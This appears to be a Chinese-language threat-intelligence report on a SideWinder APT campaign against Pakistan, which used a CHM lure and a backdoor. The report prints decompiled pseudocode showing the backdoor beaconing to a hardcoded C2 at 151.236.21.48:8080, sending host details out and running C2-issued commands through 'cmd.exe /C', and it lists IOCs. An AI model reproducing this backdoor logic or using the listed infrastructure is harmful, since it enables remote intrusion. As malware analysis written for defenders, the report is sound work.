概述
瑞星威胁情报中心在4月时捕获到了具有南亚背景的APT组织SideWinder
针对巴基斯坦的一次网络攻击,当时正值印巴间因恐袭事件关系紧张之时,此次捕获的载荷之一也曾借恐袭事件之名进行过投递。两国之间可谓积怨已久,军事对抗也时有发生,而网络层面的对抗更是时刻都在进行,此次便是其中一次,在本次攻击中SideWinder
诱导用户下载带密码的压缩包,在压缩包中包含一个恶意chm
文件与恶意载荷,诱导点击chm
文件从而执行恶意载荷,此类直接通过chm
文件执行恶意载荷的攻击手法在其历史攻击中也是比较少见的,类似手法只在同属于南亚APT的Mysterious Elephant
中有过,其运行的载荷也均为接受服务器指令并执行,只是开发语言略有区别,南亚APT组织之间的技术手法、战术战略和武器库选择经常可以发现相似之处,有时连基础设施都会发现存在共用,本次攻击可能是SideWinder
对该组织的一次借鉴。
ATT&CK矩阵
战术 | 技术 | 具体行为 |
---|---|---|
TA0001 -初始访问 |
T1566 -网络钓鱼 |
我们推断本次事件以钓鱼邮件作为传播媒介,仿冒政府官网诱导下载 |
TA0002 -执行 |
T1204 -用户执行 |
用户需要手动执行chm 文件 |
TA0002 -执行 |
T1059 -命令和脚本解释器 |
EXE调用cmd.exe 执行从C2下发的命令 |
TA0007 -环境发现 |
T1082 -收集系统信息 |
收集本机的MAC地址、用户名、主机名等系统信息 |
TA0011 -指挥与控制 |
T1095 -非应用层协议 |
使用TCP 协议与C2服务器通信 |
TA0010 -外传信息 |
T1041 -通过C2通道外传 |
使用C2通道回传收集的系统数据 |
事件详情
本次我们捕获到的初始载荷为加密压缩包CamScanner05012025-0915.rar
,通过关联发现其下载域名pakistan.govpk.email
与压缩包内文件CamScanner 04-21-2025 0945.chm
和CamScanner-04-21-2025-0945.exe
,根据SideWinder
的惯用手法可以合理推测其是通过投递包含压缩包密码的钓鱼邮件诱导用户下载加密压缩包,压缩包中的chm
文件功能仅为执行同目录下的可执行文件,在VirusTotal
上检出非常低,而可执行文件的功能也仅为接受服务器指令并执行。
攻击流程
样本分析
CamScanner 04-21-2025 0945.chm分析
字段 | 内容 |
---|---|
原始文件名 | CamScanner 04-21-2025 0945.chm |
文件大小 | 459.04 KB (470052 bytes) |
文件MD5 | 6b4a06c855116369d11cadcee415e422 |
文件类型 | chm |
病毒名 | Trojan.MouseJack/HTML!1.BE26 |
主要功能 | 运行恶意载荷 |
chm
文件其中的html
文件功能非常简单:先是加载三张base64
编码的图片诱惑受害者,之后调用ActiveX
对象的点击方法运行同目录下的恶意文件CamScanner-04-21-2025-0945.exe
其诱饵文件内容为对巴基斯坦投递的针对性文件
该文件由于不具有明显的恶意代码且功能十分简单,截止发稿也仅有瑞星一家检出
CamScanner-04-21-2025-0945.exe分析
字段 | 内容 |
---|---|
原始文件名 | CamScanner-04-21-2025-0945.exe |
文件大小 | 358.00 KB (366592 bytes) |
文件MD5 | 515c5527a41cec1c4a8e3e8f0faf2ae4 |
文件类型 | exe |
病毒名 | Backdoor.[SideWinder]Agent!1.12D17 |
主要功能 | 回连并获取后续指令 |
样本运行后会先初始化硬编码的IP地址151.236.21.48
以便后续调用
sub_140005D30(v115, "151.236.21.48");
v116 = 0LL;
v117 = 0LL;
v118 = 0LL;
sub_140006420(&v116, "151.236.21.48", 0xDuLL);
v119 = 0LL;
v120 = 0LL;
v121 = 0LL;
sub_140006420(&v119, "151.236.21.48", 0xDuLL);
v134 = 0LL;
v135 = 0LL;
v5 = (char *)operator new(0x60uLL);
*(_QWORD *)&v134 = v5;
*((_QWORD *)&v134 + 1) = v5;
v135 = v5 + 96;
BufferCount[0] = (size_t)&v134;
之后会进入一段死循环,循环中先对硬编码IP的8080
端口发起连接,成功后打印Connected to server
并开始收集本机的一些信息
while ( 1 )
{
v9 = (__int64)(*((_QWORD *)&v134 + 1) - v134) >> 5;
v10 = rand();
try
{
sub_140008E20(v144, v134 + 32 * (v10 % v9));
memset(v130, 0, sizeof(v130));
*(_QWORD *)&v102 = "8080";
*((_QWORD *)&v102 + 1) = 4LL;
v12 = v144;
if ( v145 > 0xF )
v12 = (_QWORD *)v144[0];
*(_QWORD *)&v103 = v12;
*((_QWORD *)&v103 + 1) = v144[2];
*(_OWORD *)BufferCount = v102;
*(_OWORD *)Block = v103;
sub_14000E620(v11, v130, Block, BufferCount);
v13 = v4 | 1;
sub_140010330(BufferCount, v2, v130);
sub_140008F40(&qword_140056860, "Connected to server.n");
此处先获取mac
地址,不过奇怪的是此处mac
地址攻击者并没有选择动态获取受害者的而是直接硬编码了一个,该地址也并未发现有什么特殊,推测可能是攻击者用于标明测试攻击的特征
sub_140006420(v14, "mac", 3uLL);
Block[1] = 0LL;
*((_QWORD *)&v71 + 1) = v14;
v72 = 0LL;
BufferCount[0] = (size_t)&v73;
v73 = 0uLL;
sub_14000F550((char *)&v73 + 8, 0LL);
LOBYTE(v73) = 3;
*(_OWORD *)Block = 0LL;
v15 = operator new(0x20uLL);
Block[0] = &v126;
Block[1] = v15;
*(_OWORD *)v15 = 0LL;
v15[2] = 0LL;
v15[3] = 0LL;
sub_140006420(v15, "00-14-22-01-23-45", 0x11uLL);
Block[1] = 0LL;
*((_QWORD *)&v73 + 1) = v15;
通过dupenv_s
从环境变量中获取用户名
sub_140006420(v16, "username", 8LL);
Block[1] = 0LL;
*((_QWORD *)&v67 + 1) = v16;
v68 = 0LL;
Block[0] = 0LL;
BufferCount[0] = 0LL;
if ( dupenv_s((char **)Block, BufferCount, "USERNAME") || !Block[0] )
{
v76 = 0LL;
v77 = 0uLL;
sub_140006420(&v76, byte_140048408, 0LL);
v19 = v77;
v18 = v76;
}
通过dupenv_s
从环境变量中获取主机名
sub_140006420(v22, "hostname", 8LL);
Block[1] = 0LL;
*((_QWORD *)&v63 + 1) = v22;
v64 = 0LL;
Block[0] = 0LL;
BufferCount[0] = 0LL;
if ( dupenv_s((char **)Block, BufferCount, "COMPUTERNAME") || !Block[0] )
{
v132 = 0LL;
v133 = 0uLL;
sub_140006420(&v132, byte_140048408, 0LL);
v25 = v133;
v24 = v132;
}
将获取的用户信息进行拼接处理之后回传C2
回传之后循环从c2获取后续cmd
命令通过CreateProcessW
创建cmd
进程执行攻击者下发的指令
qmemcpy(v11, "cmd.exe /C ", 11);
memcpy(v11 + 11, Src, v7);
v11[v45 + 11] = 0;
v15 = (const CHAR *)lpMultiByteStr;
if ( si128.m128i_i64[1] > 0xFuLL )
v15 = lpMultiByteStr[0];
cchWideChar = MultiByteToWideChar(0xFDE9u, 0, v15, -1, 0LL, 0);
*(_OWORD *)lpCommandLine = 0LL;
v58 = 0LL;
sub_140013F60(lpCommandLine, 0LL, cchWideChar);
lpWideCharStr = (WCHAR *)lpCommandLine;
if ( v58.m128i_i64[1] > 7uLL )
lpWideCharStr = lpCommandLine[0];
v18 = (const CHAR *)lpMultiByteStr;
if ( si128.m128i_i64[1] > 0xFuLL )
v18 = lpMultiByteStr[0];
MultiByteToWideChar(0xFDE9u, 0, v18, -1, lpWideCharStr, cchWideChar);
if ( si128.m128i_i64[1] > 0xFuLL )
{
v19 = (CHAR *)lpMultiByteStr[0];
if ( (unsigned __int64)(si128.m128i_i64[1] + 1) >= 0x1000 )
{
v19 = (CHAR *)*((_QWORD *)lpMultiByteStr[0] - 1);
if ( (unsigned __int64)(lpMultiByteStr[0] - (LPCCH)v19 - 8) > 0x1F )
invalid_parameter_noinfo_noreturn();
}
j_j_free(v19);
}
si128 = _mm_load_si128((const __m128i *)&xmmword_14004A770);
LOBYTE(lpMultiByteStr[0]) = 0;
v20 = (WCHAR *)lpCommandLine;
if ( v58.m128i_i64[1] > 7uLL )
v20 = lpCommandLine[0];
if ( !CreateProcessW(0LL, v20, 0LL, 0LL, 1, 0x8000000u, 0LL, 0LL, &StartupInfo, &ProcessInformation) )
{
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
*(_OWORD *)a1 = 0LL;
a1[2] = 0LL;
a1[3] = 0LL;
sub_140006420(a1, "Command execution failed.", 0x19uLL);
if ( v58.m128i_i64[1] <= 7uLL )
该恶意载荷截止发稿也仅有4家检出
关联分析
我们发现此次攻击最终投递的恶意载荷可能不仅仅用于一次攻击中,从其上传名称来看还使用过PIMEC_Meeting.exe
和UpdateOnPahalgamAttachIIOJK.exe
等名称进行过投递,这两个名称一个与巴基斯坦国际海事博览会暨会议(PIMEC)
相关,一个与印控克什米尔发生的恐袭事件有关。
结合其不同文件名的上传地所看该载荷极有可能也曾借巴基斯坦国际海事博览会暨会议(PIMEC)
之名对斯里兰卡发起过攻击,也符合SideWinder
的攻击方向。
总结
此次攻击者通过伪装为巴基斯坦官方网站的域名pakistan.govpk.email
进行初始的载荷投递,并且后续接收指令的C2服务器(151.236.21.48
)与此前其他厂商披露过的一批SideWinder
的C2归属于同一C段,注册商均为HOSTINGER
其也是SideWinder
所偏好的注册商之一,此次攻击中使用的c2可能是攻击者此前大规模注册的一批基础设施之一,且其投递初始载荷的伪装域名也和SideWinder
所偏好使用的特征相符,其善于使用攻击目标相关的官方网站作为关键字构造域名,此次事件中使用的pakistan.govpk.email
便是由巴基斯坦官方域名pakistan.gov.pk
构造而来的,所以虽然其本次攻击中使用的初始载荷特征与Mysterious Elephant
组织类似,但是考虑到此类攻击方法十分容易模仿,我们在结合基础设施特征与其样本上传地及对应文件名综合考虑后还是将其归因为SideWinder
。
此次SideWinder
的攻击手法并没有使用之前惯用的直接投递漏洞利用文档或包含恶意lnk
的压缩包,其在此次攻击中有意模仿Mysterious Elephant
组织的手法,后续载荷虽然与Mysterious Elephant
组织投递的载荷开发语言不一样但是功能上看也均为简单的命令执行,此次行动可能只是其在发起新一轮攻击前的测试行动,我们后续也会继续跟踪观察其动态探寻其是否与Mysterious Elephant
组织存在进一步的关联。
攻击过程可视化(EDR)
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
沦陷信标(IOC)
-
MD5
6b4a06c855116369d11cadcee415e422 356933fbc9442ca4ffc417916a3d7a4e 515c5527a41cec1c4a8e3e8f0faf2ae4
-
URL
hxxps://pakistan.govpk.email/e-office/download/CamScanner05012025-0915.rar
-
Domain
pakistan.govpk.email
-
IPV4
151.236.21.48
-
瑞星病毒名
Backdoor.[SideWinder]Agent!1.12D17